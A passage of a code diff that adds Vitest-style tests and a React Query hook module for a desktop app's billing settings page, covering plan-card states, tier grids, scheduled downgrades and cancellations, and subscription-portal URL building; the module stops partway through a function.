+  })
+
+  it('gives teams a portal escape hatch and no in-app button', () => {
+    // todaySubscriptionState is context: 'team'.
+    const view = deriveBillingView(okBilling(todayBillingState), okSubscription(todaySubscriptionState))
+
+    expect(view.plan?.action).toBeUndefined()
+    expect(view.plan?.link).toMatchObject({
+      label: 'Adjust plan ↗',
+      url: 'https://portal.invalid/manage-subscription?org_id=sid-5'
+    })
+  })
+
+  it('gives non-changing members a portal link but no in-app button', () => {
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({ ...todaySubscriptionState, can_change_plan: false, context: 'personal' })
+    )
+
+    expect(view.plan?.action).toBeUndefined()
+    expect(view.plan?.link).toMatchObject({
+      label: 'Adjust plan ↗',
+      url: 'https://portal.invalid/manage-subscription?org_id=sid-5'
+    })
+  })
+
+  it('withholds the in-app button (no dead click) and offers the portal link when nothing is actionable', () => {
+    // A subscriber whose only enabled tier is the one they are already on: the grid
+    // would show a single inert card, so the "Change plan" button must not appear.
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        can_change_plan: true,
+        context: 'personal',
+        current: { ...todaySubscriptionState.current, tier_id: 'solo', tier_name: 'Solo' },
+        tiers: [
+          {
+            dollars_per_month_display: '$10',
+            is_current: true,
+            is_enabled: true,
+            monthly_credits: '10',
+            name: 'Solo',
+            tier_id: 'solo',
+            tier_order: 0
+          }
+        ]
+      })
+    )
+
+    expect(view.tiers.map(tier => tier.state)).toEqual(['current'])
+    expect(view.plan?.action).toBeUndefined()
+    expect(view.plan?.link?.label).toBe('Adjust plan ↗')
+  })
+
+  it('gives a top-tier subscriber a portal link, not a dead in-app button', () => {
+    // On the highest tier, every enabled tile below is a downgrade — but downgrades are
+    // themselves actionable in-app at ticket 11, so this stays a "Change plan" account.
+    // (The dead-grid case is a subscriber whose only tile is `current`; covered above.)
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        can_change_plan: true,
+        context: 'personal',
+        current: { ...todaySubscriptionState.current, tier_id: 'top', tier_name: 'Ultra' },
+        tiers: [
+          {
+            dollars_per_month_display: '$0',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '0.1',
+            name: 'Free',
+            tier_id: 't_free',
+            tier_order: 0
+          },
+          {
+            dollars_per_month_display: '$200',
+            is_current: true,
+            is_enabled: true,
+            monthly_credits: '220',
+            name: 'Ultra',
+            tier_id: 'top',
+            tier_order: 1
+          }
+        ]
+      })
+    )
+
+    expect(view.tiers.some(tier => tier.state === 'upgrade')).toBe(false)
+    // Free below is an in-app downgrade → still actionable → in-app button.
+    expect(view.plan?.action).toMatchObject({ label: 'Change plan' })
+  })
+
+  it('surfaces a scheduled downgrade as the plan-card pending state (drives the undo)', () => {
+    const fixture = billingDevFixtures['pending-downgrade']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+
+    expect(view.plan).toMatchObject({
+      action: { label: 'Change plan' },
+      caption: 'Changes to Free on Aug 15.',
+      pending: { kind: 'downgrade', tierName: 'Free', when: 'Aug 15' },
+      tierName: 'Plus'
+    })
+  })
+
+  it('surfaces a scheduled cancellation as "Cancels on …" with the same undo and no grid marker', () => {
+    const fixture = billingDevFixtures['pending-cancellation']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+
+    expect(view.plan).toMatchObject({
+      action: { label: 'Change plan' },
+      caption: 'Cancels on Aug 15.',
+      pending: { kind: 'cancellation', when: 'Aug 15' },
+      tierName: 'Plus'
+    })
+    // A cancellation has no target tier → nothing to mark in the grid.
+    expect(view.tiers.some(tier => tier.state === 'scheduled')).toBe(false)
+  })
+
+  it('lets a pending downgrade win over a cancellation when both are set', () => {
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        can_change_plan: true,
+        context: 'personal',
+        current: {
+          ...todaySubscriptionState.current,
+          cancel_at_period_end: true,
+          cancellation_effective_at: '2026-09-01T00:00:00Z',
+          cancellation_effective_display: 'Sep 1',
+          pending_downgrade_at: '2026-08-15T00:00:00Z',
+          pending_downgrade_display: 'Aug 15',
+          pending_downgrade_tier_name: 'Free',
+          tier_id: 'plus',
+          tier_name: 'Plus'
+        },
+        tiers: [
+          {
+            dollars_per_month_display: '$0',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '0.1',
+            name: 'Free',
+            tier_id: 'free',
+            tier_order: 0
+          },
+          {
+            dollars_per_month_display: '$20',
+            is_current: true,
+            is_enabled: true,
+            monthly_credits: '22',
+            name: 'Plus',
+            tier_id: 'plus',
+            tier_order: 1
+          }
+        ]
+      })
+    )
+
+    // Downgrade wins (names a concrete target); card + grid agree on it.
+    expect(view.plan?.pending).toMatchObject({ kind: 'downgrade', tierName: 'Free' })
+    expect(view.plan?.caption).toBe('Changes to Free on Aug 15.')
+    expect(view.tiers.find(tier => tier.name === 'Free')?.state).toBe('scheduled')
+  })
+
+  it('offers only the portal link when the tier catalog is empty', () => {
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        can_change_plan: true,
+        context: 'personal',
+        current: null,
+        tiers: []
+      })
+    )
+
+    expect(view.tiers).toEqual([])
+    expect(view.plan?.action).toBeUndefined()
+    expect(view.plan?.link?.label).toBe('Adjust plan ↗')
+  })
+})
+
+describe('derivePlanTiers (plans grid)', () => {
+  it('marks the current tier, upgrades, and in-app downgrades for a subscriber', () => {
+    const fixture = billingDevFixtures['subscriber-personal']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+    const byName = Object.fromEntries(view.tiers.map(tier => [tier.name, tier]))
+
+    expect(view.tiers.map(tier => tier.name)).toEqual(['Free', 'Plus', 'Super', 'Ultra'])
+    expect(byName.Free.state).toBe('downgrade')
+    // Downgrades act in-app (no portal URL / caption) — the PlanCard wires the confirm flow.
+    expect('action' in byName.Free).toBe(false)
+    expect(byName.Plus.state).toBe('current')
+    expect('action' in byName.Plus).toBe(false)
+    expect(byName.Super).toMatchObject({
+      action: {
+        url: 'https://portal.invalid/manage-subscription?org_id=org_personal_plus&plan=cltier222super222personal'
+      },
+      creditsDisplay: '$110 credits/mo',
+      state: 'upgrade'
+    })
+    expect(byName.Ultra.state).toBe('upgrade')
+  })
+
+  it('marks the pending downgrade target "scheduled" (inert) while other tiers stay actionable', () => {
+    const fixture = billingDevFixtures['pending-downgrade']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+    const byName = Object.fromEntries(view.tiers.map(tier => [tier.name, tier]))
+
+    // Free is the scheduled target → inert marker, not another "Downgrade".
+    expect(byName.Free.state).toBe('scheduled')
+    expect('action' in byName.Free).toBe(false)
+    expect(byName.Plus.state).toBe('current')
+    // Reschedule stays possible on the other lower/higher tiers.
+    expect(byName.Super.state).toBe('upgrade')
+    expect(byName.Ultra.state).toBe('upgrade')
+  })
+
+  it('marks the free/lowest tier current (inert) and every paid tier an upgrade when there is no subscription', () => {
+    const fixture = billingDevFixtures['free-personal']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+    const byName = Object.fromEntries(view.tiers.map(tier => [tier.name, tier]))
+
+    // No "subscribe to Free" — the $0 tier is the current plan, not a choice.
+    expect(view.tiers.map(tier => tier.state)).toEqual(['current', 'upgrade', 'upgrade', 'upgrade'])
+    expect('action' in byName.Free).toBe(false)
+    // No downgrade state can exist without a subscription.
+    expect(view.tiers.some(tier => tier.state === 'downgrade')).toBe(false)
+    expect(byName.Plus).toMatchObject({
+      action: {
+        url: 'https://portal.invalid/manage-subscription?org_id=org_personal_free&plan=cltier111plus1111personal'
+      }
+    })
+  })
+
+  it('still lists a tier whose name has no art mapping (text-only card, no layout break)', () => {
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        context: 'personal',
+        current: null,
+        tiers: [
+          {
+            dollars_per_month_display: '$0',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '0.1',
+            name: 'Free',
+            tier_id: 'cltier_free_0000',
+            tier_order: 0
+          },
+          {
+            dollars_per_month_display: '$5',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '5',
+            name: 'Mystery',
+            tier_id: 'cltier_mystery_0000',
+            tier_order: 5
+          }
+        ]
+      })
+    )
+
+    // The unknown-named paid tier still lists (art resolves to null → text-only).
+    expect(view.tiers.map(tier => tier.name)).toEqual(['Free', 'Mystery'])
+    expect(view.tiers.find(tier => tier.name === 'Mystery')?.state).toBe('upgrade')
+  })
+
+  it('keeps a grandfathered (is_enabled:false) CURRENT tier inert and orders downgrades against it', () => {
+    // NAS marks a grandfathered current tier is_enabled:false. It must still appear
+    // (inert "Current plan") and define the order boundary — lower enabled tiers are
+    // downgrades, higher ones are Choose.
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        context: 'personal',
+        current: { ...todaySubscriptionState.current, tier_id: 'legacy_mid', tier_name: 'Legacy' },
+        tiers: [
+          {
+            dollars_per_month_display: '$5',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '5',
+            name: 'Basic',
+            tier_id: 'basic',
+            tier_order: 0
+          },
+          {
+            dollars_per_month_display: '$15',
+            is_current: true,
+            is_enabled: false,
+            monthly_credits: '15',
+            name: 'Legacy',
+            tier_id: 'legacy_mid',
+            tier_order: 1
+          },
+          {
+            dollars_per_month_display: '$40',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '40',
+            name: 'Ultra',
+            tier_id: 'ultra',
+            tier_order: 2
+          }
+        ]
+      })
+    )
+
+    const byName = Object.fromEntries(view.tiers.map(tier => [tier.name, tier]))
+
+    expect(view.tiers.map(tier => tier.name)).toEqual(['Basic', 'Legacy', 'Ultra'])
+    expect(byName.Legacy.state).toBe('current')
+    expect('action' in byName.Legacy).toBe(false)
+    expect(byName.Basic.state).toBe('downgrade')
+    expect('action' in byName.Basic).toBe(false)
+    expect(byName.Ultra).toMatchObject({ action: { label: 'Choose ↗' }, state: 'upgrade' })
+  })
+
+  it('backs Choose URLs with billing.portal_url (org_id + plan intact) when the subscription has no portal_url', () => {
+    const view = deriveBillingView(
+      okBilling({ ...todayBillingState, portal_url: 'https://billing.example.com/x' }),
+      okSubscription({
+        ...todaySubscriptionState,
+        can_change_plan: true,
+        context: 'personal',
+        current: null,
+        portal_url: null,
+        tiers: [
+          {
+            dollars_per_month_display: '$0',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '0.1',
+            name: 'Free',
+            tier_id: 'free0',
+            tier_order: 0
+          },
+          {
+            dollars_per_month_display: '$20',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '22',
+            name: 'Plus',
+            tier_id: 'plus1',
+            tier_order: 1
+          }
+        ]
+      })
+    )
+
+    expect(view.tiers.find(tier => tier.name === 'Plus')).toMatchObject({
+      action: { url: 'https://billing.example.com/manage-subscription?org_id=sid-5&plan=plus1' }
+    })
+  })
+
+  it('drops grandfathered (is_enabled: false) tiers from the grid', () => {
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        context: 'personal',
+        current: null,
+        tiers: [
+          {
+            dollars_per_month_display: '$20',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '22',
+            name: 'Plus',
+            tier_id: 'plus',
+            tier_order: 1
+          },
+          {
+            dollars_per_month_display: '$9',
+            is_current: false,
+            is_enabled: false,
+            monthly_credits: '9',
+            name: 'Legacy',
+            tier_id: 'legacy',
+            tier_order: 1
+          }
+        ]
+      })
+    )
+
+    expect(view.tiers.map(tier => tier.name)).toEqual(['Plus'])
+  })
+})
+
+describe('buildManageSubscriptionUrl', () => {
+  it('mirrors the TUI manage-subscription URL construction', () => {
+    expect(
+      buildManageSubscriptionUrl({
+        org_id: 'org_123',
+        portal_url: 'https://portal.invalid/billing'
+      })
+    ).toBe('https://portal.invalid/manage-subscription?org_id=org_123')
+  })
+
+  it('appends plan=<tierId> when a tier is chosen', () => {
+    expect(
+      buildManageSubscriptionUrl(
+        { org_id: 'org_123', portal_url: 'https://portal.invalid/billing' },
+        null,
+        'tier_abc'
+      )
+    ).toBe('https://portal.invalid/manage-subscription?org_id=org_123&plan=tier_abc')
+  })
+
+  it('omits the plan param when no tier is given', () => {
+    expect(
+      buildManageSubscriptionUrl({ org_id: 'org_123', portal_url: 'https://portal.invalid/billing' }, null)
+    ).toBe('https://portal.invalid/manage-subscription?org_id=org_123')
+  })
+
+  it('applies org_id + plan to the hard-coded portal fallback when no portal_url resolves', () => {
+    // Regression: the fallback must be the last-resort ORIGIN, not a bare return that
+    // silently drops org_id/plan.
+    expect(buildManageSubscriptionUrl({ org_id: 'org_z', portal_url: null }, null, 'tier_q')).toBe(
+      'https://portal.invalid/manage-subscription?org_id=org_z&plan=tier_q'
+    )
+  })
+})
+
+describe('formatMonthlyCreditsDelta', () => {
+  it('renders a bare negative decimal as signed dollars, never a raw number', () => {
+    // Credits are DOLLARS — "-88" must not render bare.
+    expect(formatMonthlyCreditsDelta('-88')).toBe('−$88/mo')
+  })
+
+  it('renders a positive delta with a plus sign and dollar formatting', () => {
+    expect(formatMonthlyCreditsDelta('40')).toBe('+$40/mo')
+    expect(formatMonthlyCreditsDelta('-12.50')).toBe('−$12.50/mo')
+  })
+
+  it('hides the line (null) for a zero or absent delta', () => {
+    expect(formatMonthlyCreditsDelta('0')).toBeNull()
+    expect(formatMonthlyCreditsDelta(null)).toBeNull()
+    expect(formatMonthlyCreditsDelta(undefined)).toBeNull()
+    expect(formatMonthlyCreditsDelta('')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/use-billing-state.ts b/ui-desktop/src/app/settings/billing/use-billing-state.ts
new file mode 100644
index 000000000..385710f29
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-billing-state.ts
@@ -0,0 +1,840 @@
+import { useQuery } from '@tanstack/react-query'
+
+import { fmtDate } from '@/lib/time'
+
+import type { BillingRefusal, BillingResult } from './api'
+import { useBillingApi } from './api'
+import { resolveRefusal } from './errors'
+import type { BillingStateResponse, SubscriptionStateResponse, SubscriptionTierOption, UsageModelData } from './types'
+
+export const EMPTY_BILLING_VALUE = '—'
+export const FALLBACK_PORTAL_BILLING_URL = 'https://portal.invalid/billing'
+export const FALLBACK_PORTAL_URL = 'https://portal.invalid'
+
+// The billing endpoint is the authoritative source of truth for balance / cap /
+// plan — the inference `x-nous-credits-*` headers are best-effort and can drift
+// out of sync (notably in team/org accounts where another member's spend moves
+// the shared balance without ever touching THIS client's headers). So the page
+// never trusts a cache: `staleTime: 0` + `refetchOnMount: 'always'` force a
+// fresh fetch every time it opens or regains focus, and it keeps polling every
+// 30s while mounted (react-query only ticks an active observer; it pauses when
+// the window is backgrounded — refetchIntervalInBackground defaults to false).
+// A `credits.*` notice crossing additionally invalidates ['billing','state'] to
+// pull the change in immediately rather than waiting for the next poll tick.
+const BILLING_QUERY_OPTIONS = {
+  refetchInterval: 30_000,
+  refetchOnMount: 'always',
+  refetchOnWindowFocus: true,
+  retry: false,
+  staleTime: 0
+} as const
+
+export interface BillingSummaryItemView {
+  label: 'Auto-refill' | 'Balance' | 'Plan'
+  tone?: 'muted' | 'primary'
+  value: string
+}
+
+export interface BillingNoticeView {
+  action?: {
+    label: string
+    url: string
+  }
+  message: string
+  title: string
+  /** `warn` = an actionable blocker (e.g. no card); `info` = neutral guidance. */
+  tone?: 'info' | 'warn'
+}
+
+export interface BillingRowActionView {
+  disabled?: boolean
+  label: string
+  url?: string
+}
+
+export interface BillingChipView {
+  disabled: boolean
+  label: string
+  /** When set, clicking the chip opens this URL externally. */
+  url?: string
+}
+
+export interface BillingAccountRowView {
+  action?: BillingRowActionView
+  caption?: string
+  chips?: BillingChipView[]
+  description: string
+  id: 'auto_reload' | 'buy_credits' | 'payment_method'
+  /** The auto-refill row that edits its amounts in place (canonical-card enabled). */
+  manageInApp?: true
+  pill?: {
+    label: string
+    tone: 'muted' | 'primary'
+  }
+  secondaryPill?: string
+  title: string
+  value?: string
+}
+
+/**
+ * A change scheduled at period end that `subscription.resume` can undo. A downgrade
+ * names its target tier (and marks it in the grid); a cancellation has no target
+ * (the whole plan lapses), so the grid shows no marker for it.
+ */
+export type PendingPlanTransition =
+  { kind: 'cancellation'; when: string } | { kind: 'downgrade'; tierName: string; when: string }
+
+/**
+ * The current-plan summary that replaces the old subscription row. Carries EITHER
+ * one in-app `action` (View plans / Change plan) OR a portal `link` ("Adjust plan
+ * ↗"), never both — a discriminated pair so consumers don't guard for the impossible
+ * "both present" / "neither present" cases.
+ */
+export type BillingPlanCardView = {
+  caption: string
+  /** A scheduled downgrade / cancellation waiting at period end (drives the undo). */
+  pending?: PendingPlanTransition
+  price?: string
+  tierName: string
+} & ({ action: { label: string }; link?: undefined } | { action?: undefined; link: { label: string; url: string } })
+
+interface BillingPlanTierBase {
+  creditsDisplay?: string
+  name: string
+  priceDisplay: string
+  tierId: string
+}
+
+/**
+ * One card in the `bview=plans` grid, discriminated by `state`: `upgrade` carries its
+ * portal `action`; `downgrade` is actionable IN-APP (the flow keys off `tierId`, so it
+ * needs no url/caption); `scheduled` is the inert pending-downgrade target; `current`
+ * is inert. The union lets consumers read `action` without defensive `?.`.
+ */
+export type BillingPlanTierView =
+  | (BillingPlanTierBase & { state: 'current' })
+  | (BillingPlanTierBase & { state: 'downgrade' })
+  | (BillingPlanTierBase & { state: 'scheduled' })
+  | (BillingPlanTierBase & { action: { label: string; url: string }; state: 'upgrade' })
+
+export interface BillingUsageRowView {
+  bar?: {
+    label: string
+    state: 'danger' | 'neutral' | 'ok'
+    tone: 'cap' | 'subscription' | 'topup'
+    track?: 'danger'
+    value: number
+  }
+  caption: string
+  id: 'monthly_cap' | 'subscription_credits' | 'topup_credits'
+  title: string
+  value: string
+}
+
+export interface BillingView {
+  notice?: BillingNoticeView
+  /** Payment section row. Absent outside the normal (logged-in) state. */
+  paymentRow?: BillingAccountRowView
+  /** Current-plan card (Plan section). Absent until billing.state resolves. */
+  plan?: BillingPlanCardView
+  /** Automatic-refill section row. */
+  refillRow?: BillingAccountRowView
+  status: 'loading' | 'logged_out' | 'normal' | 'refusal'
+  summary: BillingSummaryItemView[]
+  /** Live tier catalog for the plans sub-view (empty when unavailable). */
+  tiers: BillingPlanTierView[]
+  /** One-time top-up section row. */
+  topupRow?: BillingAccountRowView
+  usageRows: BillingUsageRowView[]
+}
+
+export function useBillingState(enabled = true) {
+  const api = useBillingApi()
+
+  return useQuery({
+    ...BILLING_QUERY_OPTIONS,
+    enabled,
+    queryFn: () => api.fetchBillingState(),
+    queryKey: ['billing', 'state']
+  })
+}
+
+export function useSubscriptionState(enabled = true) {
+  const api = useBillingApi()
+
+  return useQuery({
+    ...BILLING_QUERY_OPTIONS,
+    enabled,
+    queryFn: () => api.fetchSubscriptionState(),
+    queryKey: ['billing', 'subscription']
+  })
+}
+
+export function deriveBillingView(
+  stateResult?: BillingResult<BillingStateResponse>,
+  subscriptionResult?: BillingResult<SubscriptionStateResponse>
+): BillingView {
+  if (!stateResult) {
+    return {
+      status: 'loading',
+      summary: emptySummary(),
+      tiers: [],
+      usageRows: []
+    }
+  }
+
+  if (!stateResult.ok) {
+    return {
+      notice: refusalNotice(stateResult.refusal),
+      status: 'refusal',
+      summary: emptySummary(),
+      tiers: [],
+      usageRows: []
+    }
+  }
+
+  const billing = stateResult.data
+  const subscription = subscriptionResult?.ok ? subscriptionResult.data : null
+
+  if (!billing.logged_in || subscription?.logged_in === false) {
+    return {
+      notice: {
+        action: { label: 'Open portal ↗', url: billing.portal_url ?? subscription?.portal_url ?? FALLBACK_PORTAL_URL },
+        message: 'Run /portal in the TUI or open the Nous portal to connect your account.',
+        title: 'Connect your Nous account'
+      },
+      status: 'logged_out',
+      summary: emptySummary(),
+      tiers: [],
+      usageRows: []
+    }
+  }
+
+  // One "can change plans in-app" verdict, shared by the plan card (button vs portal
+  // link) and the grid (whether upgrade tiles are actionable) so the invariant lives
+  // in one place.
+  const capable = plansCapable(subscription, subscriptionResult)
+  // Computed once and threaded to both the card (caption + undo) and the grid
+  // (Scheduled marker), so the two never disagree about what's pending.
+  const pending = pendingTransition(subscription?.current)
+  const tiers = derivePlanTiers(subscription, billing.portal_url, capable, pending)
+
+  return {
+    notice: noCardNotice(billing),
+    paymentRow: paymentMethodRow(billing),
+    plan: derivePlanCard(billing, subscription, subscriptionResult, tiers, capable, pending),
+    refillRow: autoReloadRow(billing),
+    status: 'normal',
+    summary: [
+      { label: 'Balance', value: displayBalance(billing) },
+      { label: 'Plan', value: displayPlan(subscription, billing.usage) },
+      {
+        label: 'Auto-refill',
+        tone: billing.auto_reload?.enabled ? 'primary' : billing.auto_reload ? 'muted' : undefined,
+        value: billing.auto_reload ? (billing.auto_reload.enabled ? 'Enabled' : 'Off') : EMPTY_BILLING_VALUE
+      }
+    ],
+    tiers,
+    topupRow: buyCreditsRow(billing),
+    usageRows: deriveUsageRows(billing, subscription)
+  }
+}
+
+export function buildManageSubscriptionUrl(
+  subscription?: null | Pick<SubscriptionStateResponse, 'org_id' | 'portal_url'>,
+  fallbackPortalUrl?: null | string,
+  // Optional tier to pre-select on the portal, appended as `plan=<tierId>`
+  // (validated server-side by the NAS reader, draft #748).
+  tierId?: null | string
+): string {
+  // The hard-coded portal is the LAST-RESORT origin, not a bare early return:
+  // org_id / plan must still be applied to it so a null portal_url never silently
+  // strips the params that route the user to the right org + pre-selected tier.
+  const portalUrls = [subscription?.portal_url, fallbackPortalUrl, FALLBACK_PORTAL_BILLING_URL].filter(
+    (url): url is string => typeof url === 'string' && url.length > 0
+  )
+
+  for (const portalUrl of portalUrls) {
+    try {
+      const url = new URL('/manage-subscription', new URL(portalUrl).origin)
+
+      if (subscription?.org_id) {
+        url.searchParams.set('org_id', subscription.org_id)
+      }
+
+      if (tierId) {
+        url.searchParams.set('plan', tierId)
+      }
+
+      return url.toString()
+    } catch {
+      // Try the next candidate; malformed portal URLs should not break settings.
+    }
+  }
+
+  return FALLBACK_PORTAL_BILLING_URL
+}
+
+export function formatBillingDate(value?: null | string): string {
+  if (!value) {
+    return EMPTY_BILLING_VALUE
+  }
+
+  const date = new Date(value)
+
+  if (Number.isNaN(date.getTime())) {
+    return EMPTY_BILLING_VALUE
+  }
+
+  return fmtDate.format(date)
+}
+
+function emptySummary(): BillingSummaryItemView[] {
+  return [
+    { label: 'Balance', value: EMPTY_BILLING_VALUE },
+    { label: 'Plan', value: EMPTY_BILLING_VALUE },
+    { label: 'Auto-refill', value: EMPTY_BILLING_VALUE }
+  ]
+}
+
+function refusalNotice(refusal: BillingRefusal): BillingNoticeView {
+  const resolved = resolveRefusal(refusal)
+  const portalUrl = resolved.action.type === 'portal' ? resolved.action.url : undefined
+
+  return {
+    action: portalUrl ? { label: 'Open portal ↗', url: portalUrl } : undefined,
+    message: resolved.message,
+    title: resolved.title,
+    tone: 'warn'
+  }
+}
+
+// A logged-in account with no card can't buy credits or manage auto-refill, and
+// every one of those controls disables silently — so lead the page with a single
+// warn banner that names the blocker and links straight to the fix.
+function noCardNotice(billing: BillingStateResponse): BillingNoticeView | undefined {
+  if (billing.card) {
+    return undefined
+  }
+
+  return {
+    action: { label: 'Add card ↗', url: billing.portal_url ?? FALLBACK_PORTAL_BILLING_URL },
+    message: 'Buying top-up credits and auto-refill stay disabled until a card is on file. Add one on the portal.',
+    title: 'No payment method on file',
+    tone: 'warn'
+  }
+}
+
+// The active tier from the UNFILTERED catalog — a grandfathered current tier is
+// is_enabled:false, so it must still resolve here (by is_current or matching id).
+function findCurrentTier(subscription: null | SubscriptionStateResponse): SubscriptionTierOption | undefined {
+  const current = subscription?.current
+
+  return subscription?.tiers?.find(tier => tier.is_current || tier.tier_id === current?.tier_id)
+}
+
+// Whether this account can change plans in-app: a personal (non-team) subscription
+// the server says the user can change, whose payload actually loaded.
+function plansCapable(
+  subscription: null | SubscriptionStateResponse,
+  subscriptionResult: BillingResult<SubscriptionStateResponse> | undefined
+): boolean {
+  if (!subscription || (subscriptionResult && !subscriptionResult.ok)) {
+    return false
+  }
+
+  return subscription.context !== 'team' && Boolean(subscription.can_change_plan)
+}
+
+// Monthly credits are dollars; NAS sends a bare decimal string. Never render a
+// bare number — always "$110 credits/mo" (mirrors the retired subscriptionTierChips).
+function creditsPerMonthDisplay(monthlyCredits: null | string): string | undefined {
+  const credits = Number((monthlyCredits ?? '').replace(/,/g, ''))
+
+  return Number.isFinite(credits) && credits > 0 ? `$${credits.toLocaleString('en-US')} credits/mo` : undefined
+}
+
+/**
+ * A monthly-credits delta from a plan-change preview. NAS sends a bare dollar
+ * decimal ("-88"); credits are DOLLARS, so render it as signed dollars
+ * ("−$88/mo"), never the raw number. Zero / absent → null so the caller hides
+ * the line entirely.
+ */
+export function formatMonthlyCreditsDelta(delta?: null | string): null | string {
+  const amount = parseAmount(delta)
+
+  if (amount == null || amount === 0) {
+    return null
+  }
+
+  return `${amount < 0 ? '−' : '+'}${formatMoney(Math.abs(amount))}/mo`
+}
+
+/**
+ * The current-plan card. It offers the in-app "View plans" / "Change plan" button
+ * ONLY when the account is plans-capable AND the grid has an actual UPGRADE to offer
+ * — a top-tier subscriber (only downgrades / current below them) would otherwise open
+ * a grid with nothing to do. In every no-button case (teams, non-changers, refused
+ * subscription, top tier, empty catalog) the card ALWAYS carries the portal
+ * escape-hatch link so the user is never stranded on an info-only card.
+ */
+function derivePlanCard(
+  billing: BillingStateResponse,
+  subscription: null | SubscriptionStateResponse,
+  subscriptionResult: BillingResult<SubscriptionStateResponse> | undefined,
+  tiers: BillingPlanTierView[],
+  capable: boolean,
+  pending: PendingPlanTransition | undefined
+): BillingPlanCardView {
+  const current = subscription?.current
+  const tierName = current?.tier_name ?? billing.usage?.plan_name ?? 'Free'
+  // Price resolves against the UNFILTERED catalog so a grandfathered current tier
+  // still shows its price.
+  const price = findCurrentTier(subscription)?.dollars_per_month_display
+  const renewal = formatBillingDate(current?.cycle_ends_at ?? billing.usage?.renews_at)
+  const unavailable = subscriptionResult ? !subscriptionResult.ok : false
+
+  const caption = unavailable
+    ? 'Subscription details are unavailable; opening the portal is still available.'
+    : pending
+      ? pending.kind === 'downgrade'
+        ? `Changes to ${pending.tierName} on ${pending.when}.`
+        : `Cancels on ${pending.when}.`
+      : current
+        ? `Renews ${renewal}`
+        : 'No active subscription — paid models draw down top-up credits.'
+
+  // Actionable = a paid tier above (upgrade) or an in-app downgrade below the current
+  // one. Ticket 11 counts downgrades (they act in-app, so they carry no `action`); a
+  // top-tier subscriber with neither still gets the portal-link fallback below.
+  const hasActionableTier = tiers.some(tier => tier.state === 'upgrade' || tier.state === 'downgrade')
+
+  if (capable && hasActionableTier) {
+    return { action: { label: current ? 'Change plan' : 'View plans' }, caption, pending, price, tierName }
+  }
+
+  return {
+    caption,
+    // No in-app action → always hand off to the portal so the user isn't stranded.
+    link: {
+      label: 'Adjust plan ↗',
+      url: buildManageSubscriptionUrl(subscription, subscription?.portal_url ?? billing.portal_url)
+    },
+    pending,
+    price,
+    tierName
+  }
+}
+
+// The change scheduled at period end (undoable via subscription.resume). NAS may
+// carry a pending downgrade (`pending_downgrade_*`, with a target tier name) and/or a
+// scheduled cancellation (`cancel_at_period_end` + `cancellation_effective_*`).
+// Precedence: a downgrade WINS if both are somehow set — it names a concrete target
+// tier, the stronger, more specific signal, and is what the grid marks.
+function pendingTransition(
+  current: null | undefined | NonNullable<SubscriptionStateResponse['current']>
+): PendingPlanTransition | undefined {
+  if (current?.pending_downgrade_tier_name && current.pending_downgrade_at) {
+    return {
+      kind: 'downgrade',
+      tierName: current.pending_downgrade_tier_name,
+      when: current.pending_downgrade_display ?? formatBillingDate(current.pending_downgrade_at)
+    }
+  }
+
+  if (current?.cancel_at_period_end && current.cancellation_effective_at) {
+    return {
+      kind: 'cancellation',
+      when: current.cancellation_effective_display ?? formatBillingDate(current.cancellation_effective_at)
+    }
+  }
+
+  return undefined
+}
+
+/**
+ * The plans-grid catalog. Each card's state depends on its order relative to the
+ * current tier: current = inert marker; higher = "Choose ↗" opening the portal with
+ * the tier pre-selected; lower = an in-app "Downgrade" (chargeless, scheduled via the
+ * gateway). The already-scheduled downgrade target renders as an inert "Scheduled"
+ * marker; other lower tiers stay actionable (picking one reschedules). With no active
+ * subscription the lowest-order ($0 / free) tier stands in as the current plan, so
+ * there is no "subscribe to Free" upgrade and no downgrade state.
+ *
+ * Empty unless `capable`: only a plans-capable account gets actionable tiles, and the
+ * plan card / deep-link gate on the same verdict — so the grid never mints an
+ * upgrade action nobody may take. `fallbackPortalUrl` (billing.portal_url) backs the
+ * Choose URLs when the subscription payload has no portal_url, so org_id + plan are
+ * never dropped.
+ */
+function derivePlanTiers(
+  subscription: null | SubscriptionStateResponse,
+  fallbackPortalUrl: null | string,
+  capable: boolean,
+  pending: PendingPlanTransition | undefined
+): BillingPlanTierView[] {
+  if (!capable || !subscription) {
+    return []
+  }
+
+  const allTiers = subscription.tiers ?? []
+  const current = subscription.current
+  const explicitCurrent = findCurrentTier(subscription)
+
+  // The grid shows the enabled catalog plus the grandfathered current tier (so it
+  // still renders as the inert "Current plan" card), sorted low→high.
+  const gridTiers = allTiers
+    .filter(tier => tier.is_enabled || tier.tier_id === explicitCurrent?.tier_id)
+    .slice()
+    .sort((a, b) => a.tier_order - b.tier_order)
+
+  if (gridTiers.length === 0) {
+    return []
+  }
+
+  // No active subscription → the lowest-order ($0 / free) tier stands in as the
+  // current plan: inert, never a "subscribe to Free" upgrade, and (being lowest)
+  // never leaving room for a downgrade.
+  const currentTier = explicitCurrent ?? (current == null ? gridTiers[0] : undefined)
